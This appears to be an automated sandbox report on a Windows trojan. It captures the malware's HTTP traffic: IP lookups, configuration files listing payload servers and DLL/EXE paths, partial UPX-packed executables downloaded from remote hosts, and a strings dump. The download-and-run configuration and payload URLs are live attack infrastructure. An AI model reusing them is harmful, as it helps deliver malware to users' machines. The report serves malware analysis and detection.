<?xml version="1.0" encoding="UTF-8"?>.<UserInfo autoPlayTime="20141130">. <item type="10511">. <MainPageID>sg7844</MainPageID>. <OutGameID/>. <OutGame2ID>100412</OutGame2ID>. <OutGame3ID/>. <SGTPID/>. <eda>108611</eda>. <gda/>. <BlackUrl/>. <f>0</f>. <s>0</s>. <q>1</q>. <c>1</c>. <d>1</d>. <area>dt_one</area>. <ycgg>100412</ycgg>. <cq>1</cq>. <kjqt>300084</kjqt>. <dbt>100412</dbt>. </item>.</UserInfo>.HTTP/1.0 200 OK..Server: nginx..Date: Fri, 27 Mar 2015 20:46:54 GMT..Content-Type: text/xml; charset=utf-8..Content-Length: 462..Last-Modified: Fri, 27 Mar 2015 09:41:55 GMT..ETag: "551525e3-1ce"..Accept-Ranges: bytes..Age: 70720..X-Cache: HIT from ctzjjhs1..Via: 1.0 ctzjjhs1 (squid)..Connection: keep-alive..<?xml version="1.0" encoding="UTF-8"?>.<UserInfo autoPlayTime="20141130">. <item type="10511">. <MainPageID>sg7844</MainPageID>. <OutGameID/>. <OutGame2ID>100412</OutGame2ID>. <OutGame3ID/>. <SGTPID/>. <eda>108611</eda>. <gda/>. <BlackUrl/>. <f>0</f>. <s>0</s>. <q>1</q>. <c>1</c>. <d>1</d>. <area>dt_one</area>. <ycgg>100412</ycgg>.

<<< skipped >>>

GET /IP.aspx HTTP/1.1

User-Agent: AutoIt

Host: ipaddress.wb916.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Mon, 06 Apr 2015 01:53:43 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

X-AspNet-Version: 4.0.30319

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 49

[......]........=37.57.16.189........=...........HTTP/1.1 200 OK..Date: Mon, 06 Apr 2015 01:53:43 GMT..Server: Microsoft-IIS/6.0..X-Powered-By: ASP.NET..X-AspNet-Version: 4.0.30319..Cache-Control: private..Content-Type: text/html; charset=utf-8..Content-Length: 49..[......]........=37.57.16.189........=.............

GET /updata/adclient/client/szicoad.exe HTTP/1.1

Range: bytes=0-

Unless-Modified-Since: Fri, 27 Mar 2015 18:31:32 GMT

If-Range: "1DDF4CC1188804E8670E9CA6139C2FED"

User-Agent: AutoIt

Host: down04.kuaibu8.com

HTTP/1.1 206 Partial Content

Date: Mon, 06 Apr 2015 01:53:35 GMT

Content-Type: application/x-msdownload

Content-Length: 389558

Connection: close

Accept-Ranges: bytes

Content-Range: bytes 0-389557/389558

ETag: "1DDF4CC1188804E8670E9CA6139C2FED"

Last-Modified: Fri, 27 Mar 2015 18:31:32 GMT

Server: AliyunOSS

x-oss-request-id: 5521E71F957EEBB6599ED681

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......9jUt}.;'}.;'}.;'.E.'..;'f..'..;'f..'H.;'ts.'t.;'ts.'\.;'}.:'j.;'f..'7.;'f..'J.;'f..'|.;'}..'|.;'f..'|.;'Rich}.;'........................PE..L....z.O..........#.......... ...`..@....p... ....@..........................@................@.......@.............................. ..............................................................................................................UPX0.....`..............................UPX1.........p......................@....rsrc.... ... ......................@......................................................................................................................................................................................................................................................................................................................................................................3.08.UPX!....!|..wP......<.......&..S...............F......!g?....*v V3.......$=.G....Q....rF...;w.r.^..

GET /proj/BackEnd.ini HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: domain.awangba.com.cn

Connection: Keep-Alive

HTTP/1.0 200 OK

Server: nginx

Date: Sun, 05 Apr 2015 05:40:09 GMT

Content-Type: application/octet-stream

Content-Length: 477

Last-Modified: Wed, 25 Mar 2015 02:18:43 GMT

ETag: "55121b03-1dd"

Accept-Ranges: bytes

Age: 72797

X-Cache: HIT from ctzjjhs1

Via: 1.0 ctzjjhs1 (squid)

Connection: keep-alive

[config]..run=yes..cudp=19034..sudp=19033..stcp1=19042..stcp2=19048..bguid=F3450EDC-EAF6-BCE5-BEC8-25CF003FE045..path=%temp%\downt..seed=AplusFile.bt..extparam=com..[x86]..name=BackEnd32.zip..url=hXXp://down.awangba.com.cn/proj/BackEnd32.zip..md5=2E2642D3D4568793E2699EAE74370D2E..path=%temp%\downt..param=comdhost.exe..[x64]..name=BackEnd64.zip..url=hXXp://down.awangba.com.cn/proj/BackEnd64.zip..md5=C6B9ABFB262D1DD8DD75243165020C08..path=%temp%\downt..param=comdhost.exeHTTP/1.0 200 OK..Server: nginx..Date: Sun, 05 Apr 2015 05:40:09 GMT..Content-Type: application/octet-stream..Content-Length: 477..Last-Modified: Wed, 25 Mar 2015 02:18:43 GMT..ETag: "55121b03-1dd"..Accept-Ranges: bytes..Age: 72797..X-Cache: HIT from ctzjjhs1..Via: 1.0 ctzjjhs1 (squid)..Connection: keep-alive..[config]..run=yes..cudp=19034..sudp=19033..stcp1=19042..stcp2=19048..bguid=F3450EDC-EAF6-BCE5-BEC8-25CF003FE045..path=%temp%\downt..seed=AplusFile.bt..extparam=com..[x86]..name=BackEnd32.zip..url=hXXp://down.awangba.com.cn/proj/BackEnd32.zip..md5=2E2642D3D4568793E2699EAE74370D2E..path=%temp%\downt..param=comdhost.exe..[x64]..name=BackEnd64.zip..url=hXXp://down.awangba.com.cn/proj/BackEnd64.zip..md5=C6B9ABFB262D1DD8DD75243165020C08..path=%temp%\downt..param=comdhost.exe..

<<< skipped >>>

GET /dyndns/getip HTTP/1.1

User-Agent: APlus

Host: VVV.3322.org

HTTP/1.1 200 OK

Server: nginx

Date: Mon, 06 Apr 2015 01:53:50 GMT

Content-Type: application/octet-stream

Transfer-Encoding: chunked

Content-Type: text/plain; charset=utf-8

d..37.57.16.189...0..HTTP/1.1 200 OK..Server: nginx..Date: Mon, 06 Apr 2015 01:53:50 GMT..Content-Type: application/octet-stream..Transfer-Encoding: chunked..Content-Type: text/plain; charset=utf-8..d..37.57.16.189...0..

GET /proj/BackEnd32.zip HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: down.awangba.com.cn

Connection: Keep-Alive

HTTP/1.0 200 OK

Server: nginx

Date: Wed, 25 Mar 2015 02:30:13 GMT

Content-Type: application/zip

Content-Length: 171307

Last-Modified: Wed, 25 Mar 2015 02:16:54 GMT

ETag: "55121a96-29d2b"

Accept-Ranges: bytes

Age: 3001

X-Cache: HIT from ctzjtzs1

Via: 1.0 ctzjtzs1 (squid)

Connection: keep-alive

PK.........TxF5..y}...........comdhost.exe..}|T..8..S.K...,.5B..h...5q...n...} .($A.4Mm...P..7.{3\.-.M[.[[..J[..0V.,... ..b.j.R.....!..~...w.y..y.>..^?4{..;...3g.93s....u..F.1._<..4h..B...G.o.....l.........<..;K../....<...o=.... .....K..g......x.......{.......7......y..:.3.>c.Y.j.z^.d.e.N........k..Nv]9....bW.w.U.p....k4..)....25..F....k4E:......i5.3.,.q*.=..h...z.,.3.].....kXF...&.....:^D.^S`.......7j4...4Y....?.....Y..z........h..#.u.W~6@.{.c....h..R...........y6Mc........{@....,].-.gu.:kR... ..<... ...9.4w p.. .z.....o.E...(..G..j...2..#....J_...vA......>..@. .w.x^%....%m......$.....X.T.E..4s...O.jH'....$..^X.....w...Mu..C....b...}...XW?:...~.>l?.v^(.d....Z..7'...'.....4.....)..X.....&Q...}..c.rZ...._Z.RMg..<.8....`=.|Po...,.Y...........o....i...}z......k....cS......O.4.35.p85\...t.f}..........~.6"~.xRa...."t{r..=..pj0jp..e=...g....g../...y>/...~oc....t.k?......?1..K....vh..`..h]....={%.'....9U#.......=b7...]..Mt.....&....h@.7..Ke../-~.I..sF..S..........C!.2.c.SB...H.%.m^b .1.i..-.Oz$>...vx.m.f&..m>.%..:,..4....9...,...Z.W...i..-..z.0..>Z..$........d..1..xFZm.v...!....iF........s..F..2.I.\.<5.r...._.S.....KK..v#&f.$.. .#]..b.l..l.....i...epS........Z.;..l./.........S-KtdH...d.T.v..gJu....PIs%<).~.>....Vl..X...OI...r.G:...h.k<G......_1.......B...]......../......f.?........A .._=S.....b....a.X.a11p...4.}..0C...R....|.8.o......a.E..x.P....@F >.7x.Ym...G.v.............z.(.Hf.-7...0..F..l."a......S..*,,.<.2.. ....._6~R....%..=..@#=.I.FR#.!...W.,3...........

<<< skipped >>>

GET /server/server.txt HTTP/1.1

User-Agent: AutoIt

Host: gengxin.kuaibu8.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Mon, 06 Apr 2015 01:53:44 GMT

Content-Type: text/plain

Content-Length: 861

Connection: close

Accept-Ranges: bytes

ETag: "5F518A33E3525F232868CB7B8D966762"

Last-Modified: Wed, 01 Apr 2015 16:00:47 GMT

Server: AliyunOSS

x-oss-request-id: 5521E728B7EB447F466C7227

[File]..kuaibu8=hXXp://VVV.kuaibu8.com/iniuser/..uc916=hXXp://VVV.uc916.com/iniuser/..szicoad=hXXp://VVV.kuaibu8.com:8089/ico/..minyang=http://mingyangdown.oss-cn-qingdao.aliyuncs.com/userini/..[update]..Startupdate=yes..kuaibu8=kuaibu8..szicoad=szicoad..minyang=minyang..uc916=uc916..[server]..01=down04.kuaibu8.com..02=down04.kuaibu8.com..03=down04.kuaibu8.com..04=down04.kuaibu8.com..05=down04.kuaibu8.com..06=down04.kuaibu8.com..07=down04.kuaibu8.com..08=down04.kuaibu8.com..09=down04.kuaibu8.com..10=down04.kuaibu8.com..[dllhost]..yewu01=/updata/adclient/ie/ieadd.dll..yewu02=/updata/adclient/cpu/cpu.dll..yewu03=/updata/adclient/sohu/sohuvip.dll..yewu04=/updata/adclient/kbts/kbts.dll..yewu05=/updata/adclient/pcfen/pcfen.dll..yewu06=/updata/adclient/desk/desk1.exe..yewu07=/updata/adclient/iejs/iejs.dll..yewu99=/updata/adclient/yileyou/yileyou.dll..

GET /updata/adclient/client/szicoad.exe HTTP/1.1

User-Agent: AutoIt

Host: down04.kuaibu8.com

HTTP/1.1 200 OK

Date: Mon, 06 Apr 2015 01:53:33 GMT

Content-Type: application/x-msdownload

Content-Length: 389558

Connection: close

Accept-Ranges: bytes

ETag: "1DDF4CC1188804E8670E9CA6139C2FED"

Last-Modified: Fri, 27 Mar 2015 18:31:32 GMT

Server: AliyunOSS

x-oss-request-id: 5521E71D51235893A88ED225

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......9jUt}.;'}.;'}.;'.E.'..;'f..'..;'f..'H.;'ts.'t.;'ts.'\.;'}.:'j.;'f..'7.;'f..'J.;'f..'|.;'}..'|.;'f..'|.;'Rich}.;'........................PE..L....z.O..........#.......... ...`..@....p... ....@..........................@................@.......@.............................. ..............................................................................................................UPX0.....`..............................UPX1.........p......................@....rsrc.... ... ......................@......................................................................................................................................................................................................................................................................................................................................................................3.08.UPX!....!|..wP......<.......&..S...............F......!g?....*v V3.......$=.G....Q....rF...;w.r.^.G...awVW4.....K...........S&......,.I'....<..P...|C|(v..#.\...DQ.`..`.~.._.L.^...._....lp(...V...=-.i..0.^.h....7..L,o...U..3.........&8...J.tNh..P..\..R.....'....................X<Qj.........;.c.`\....tH..]9.....F$S3.;.`..9...,.^$.^0.4...78.^.[o>.E..M..U.W.....}.PQR..._]...?...S.]..f..V;.7.......t....i...&....r.6...O.r)...v{.@....*...........;=....|.K^.u..VRWS....f.v^[....E.h..JC.....<.l.1a....@.i8....._...r......G,..w....y.$.

<<< skipped >>>

GET /IP.aspx HTTP/1.1

User-Agent: AutoIt

Host: ipaddress.wb916.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Mon, 06 Apr 2015 01:53:22 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

X-AspNet-Version: 4.0.30319

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 49

[......]........=37.57.16.189........=...........HTTP/1.1 200 OK..Date: Mon, 06 Apr 2015 01:53:22 GMT..Server: Microsoft-IIS/6.0..X-Powered-By: ASP.NET..X-AspNet-Version: 4.0.30319..Cache-Control: private..Content-Type: text/html; charset=utf-8..Content-Length: 49..[......]........=37.57.16.189........=.............

GET /server/server.txt HTTP/1.1

User-Agent: AutoIt

Host: gengxin.kuaibu8.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Mon, 06 Apr 2015 01:53:25 GMT

Content-Type: text/plain

Content-Length: 861

Connection: close

Accept-Ranges: bytes

ETag: "5F518A33E3525F232868CB7B8D966762"

Last-Modified: Wed, 01 Apr 2015 16:00:47 GMT

Server: AliyunOSS

x-oss-request-id: 5521E715A97F0D894E6C866D

[File]..kuaibu8=hXXp://VVV.kuaibu8.com/iniuser/..uc916=hXXp://VVV.uc916.com/iniuser/..szicoad=hXXp://VVV.kuaibu8.com:8089/ico/..minyang=http://mingyangdown.oss-cn-qingdao.aliyuncs.com/userini/..[update]..Startupdate=yes..kuaibu8=kuaibu8..szicoad=szicoad..minyang=minyang..uc916=uc916..[server]..01=down04.kuaibu8.com..02=down04.kuaibu8.com..03=down04.kuaibu8.com..04=down04.kuaibu8.com..05=down04.kuaibu8.com..06=down04.kuaibu8.com..07=down04.kuaibu8.com..08=down04.kuaibu8.com..09=down04.kuaibu8.com..10=down04.kuaibu8.com..[dllhost]..yewu01=/updata/adclient/ie/ieadd.dll..yewu02=/updata/adclient/cpu/cpu.dll..yewu03=/updata/adclient/sohu/sohuvip.dll..yewu04=/updata/adclient/kbts/kbts.dll..yewu05=/updata/adclient/pcfen/pcfen.dll..yewu06=/updata/adclient/desk/desk1.exe..yewu07=/updata/adclient/iejs/iejs.dll..yewu99=/updata/adclient/yileyou/yileyou.dllHTTP/1.1 200 OK..Date: Mon, 06 Apr 2015 01:53:25 GMT..Content-Type: text/plain..Content-Length: 861..Connection: close..Accept-Ranges: bytes..ETag: "5F518A33E3525F232868CB7B8D966762"..Last-Modified: Wed, 01 Apr 2015 16:00:47 GMT..Server: AliyunOSS..x-oss-request-id: 5521E715A97F0D894E6C866D..[File]..kuaibu8=hXXp://VVV.kuaibu8.com/iniuser/..uc916=hXXp://VVV.uc916.com/iniuser/..szicoad=hXXp://VVV.kuaibu8.com:8089/ico/..minyang=hXXp://mingyangdown.oss-cn-qingdao.aliyuncs.com/userini/..[update]..Startupdate=yes..kuaibu8=kuaibu8..szicoad=szicoad..minyang=minyang..uc916=uc916..[server]..01=down04.kuaibu8.com..02=down04.kuaibu8.com..03=down04.kuaibu8.com..04=down04.kuaibu8.com..0

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GET /updata/adclient/client/szicoad.exe HTTP/1.1

User-Agent: AutoIt

Host: down04.kuaibu8.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Mon, 06 Apr 2015 01:53:36 GMT

Content-Type: application/x-msdownload

Content-Length: 389558

Connection: close

Accept-Ranges: bytes

ETag: "1DDF4CC1188804E8670E9CA6139C2FED"

Last-Modified: Fri, 27 Mar 2015 18:31:32 GMT

Server: AliyunOSS

x-oss-request-id: 5521E720CF90B15A28922240

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......9jUt}.;'}.;'}.;'.E.'..;'f..'..;'f..'H.;'ts.'t.;'ts.'\.;'}.:'j.;'f..'7.;'f..'J.;'f..'|.;'}..'|.;'f..'|.;'Rich}.;'........................PE..L....z.O..........#.......... ...`..@....p... ....@..........................@................@.......@.............................. ..............................................................................................................UPX0.....`..............................UPX1.........p......................@....rsrc.... ... ......................@......................................................................................................................................................................................................................................................................................................................................................................3.08.UPX!....!|..wP......<.......&..S...............F......!g?....*v V3.......$=.G....Q....rF...;w.r.^.G...awVW4.....K...........S&......,.I'....<..P...|C|(v..#.\...DQ.`..`.~.._.L.^...._....lp(...V...=-.i..0.^.h....7..L,o...U..3.........&8...J.tNh..P..\..R.....'....................X<Qj.........;.c.`\....tH..]9.....F$S3.;.`..9...,.^$.^0.4...78.^.[o>.E..M..U.W.....}.PQR..._]...?...S.]..f..V;.7.......t....i...&....r.6...O.r)...v{.@....*...........;=....|.K^.u..VRWS....f.v^[....E.h..JC.....<.l.1a....@.i8....._...r......G,..w....y.$.

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Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

bv.exe_464:

.text

.text

`.rdata

`.rdata

@.data

@.data

.rsrc

.rsrc

CCmdTarget

CCmdTarget

%*.*f

%*.*f

commctrl_DragListMsg

commctrl_DragListMsg

COMCTL32.DLL

COMCTL32.DLL

CNotSupportedException

CNotSupportedException

MSWHEEL_ROLLMSG

MSWHEEL_ROLLMSG

ole32.dll

ole32.dll

__MSVCRT_HEAP_SELECT

__MSVCRT_HEAP_SELECT

user32.dll

user32.dll

WS2_32.dll

WS2_32.dll

WinExec

WinExec

GetCPInfo

GetCPInfo

KERNEL32.dll

KERNEL32.dll

ExitWindowsEx

ExitWindowsEx

SetWindowsHookExA

SetWindowsHookExA

GetKeyState

GetKeyState

CreateDialogIndirectParamA

CreateDialogIndirectParamA

UnhookWindowsHookEx

UnhookWindowsHookEx

USER32.dll

USER32.dll

SetViewportOrgEx

SetViewportOrgEx

OffsetViewportOrgEx

OffsetViewportOrgEx

SetViewportExtEx

SetViewportExtEx

ScaleViewportExtEx

ScaleViewportExtEx

GetViewportExtEx

GetViewportExtEx

GDI32.dll

GDI32.dll

comdlg32.dll

comdlg32.dll

WINSPOOL.DRV

WINSPOOL.DRV

RegCloseKey

RegCloseKey

RegCreateKeyExA

RegCreateKeyExA

RegOpenKeyExA

RegOpenKeyExA

ADVAPI32.dll

ADVAPI32.dll

SHELL32.dll

SHELL32.dll

COMCTL32.dll

COMCTL32.dll

oledlg.dll

oledlg.dll

OLEPRO32.DLL

OLEPRO32.DLL

OLEAUT32.dll

OLEAUT32.dll

iphlpapi.dll

iphlpapi.dll

%s\%s

%s\%s

explorer.exe

explorer.exe

wbz1.exe

wbz1.exe

byteFirewall.dat

byteFirewall.dat